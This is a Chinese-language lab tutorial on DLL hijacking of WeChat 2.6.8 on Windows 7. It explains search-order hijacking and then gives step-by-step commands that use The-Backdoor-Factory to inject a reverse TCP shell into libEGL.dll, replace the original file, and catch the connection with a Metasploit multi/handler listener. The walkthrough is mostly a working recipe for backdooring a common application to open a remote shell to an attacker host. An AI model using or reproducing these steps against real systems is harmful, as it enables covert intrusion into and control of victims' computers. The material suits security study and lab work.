微信dell劫持反弹shell

dll劫持原理
DLL劫持指的是，病毒通过一些手段来劫持或者替换正常的DLL，欺骗正常程序加载预先准备好的恶意DLL。

如下图，LPK.dll是应用程序运行所需加载的DLL，该系统文件默认在C:\Windows\system32路径下，但由于windows优先搜索当前路径，所以当我们把恶意LPK.dll放在应用程序同一路径下，便会被程序成功加载，从而执行恶意操作。


 
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
 
win7 安装微信（版本2.6.8），ProcessExplorer （任务管理工具，看到当前系统中所有运行的程序（在溯源、任务管理中很好用）
 
二、复现过程
1、win7打开ProcessExplorer，打开微信，并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs

打开过后就能看到很多dll后缀文件，这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。

2、在ProcessExplorer找到安装在微信里面的动态链接库文件，选择libEGL.dll动态链接库文件，找到libEGL.dll文件所在位置，将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内，并关闭微信

3、在kali中，从终端进入The-Backdoor-Factory后门工具所在的文件夹内

./backdoor.py   //检查工具是否可用

上图可以看到，工具不可以，没有名字为capstone的模板
使用pip安装模板

pip intall capstone  安装capstone模板

4、

 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP

    -f  后跟要注入的文件

    -s  反弹shell，后跟反弹什么类型的shell

    -P  反弹给哪个端口，后跟端口

    -H  反弹给哪个主机，后跟IP

在kali中找到backdoored文件，进入文件内可找到libEGL.dll文件

5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中，将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit

/etc/init.d/postgresql start  开启postgresql数据库

msfconsole  开启Metasploit

6、加载exploits和payloads

use exploit/multi/handler  选择exploits

set payload windows/shell_reverse_tcp  设置payload

set lhost kali的IP  设置监听地址

set lport 6666  设置监听端口

run 或者exploit  运行攻击模块

7、打开Win 7系统，打开微信，然后打开kali就可以得到Win 7的shell

 
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​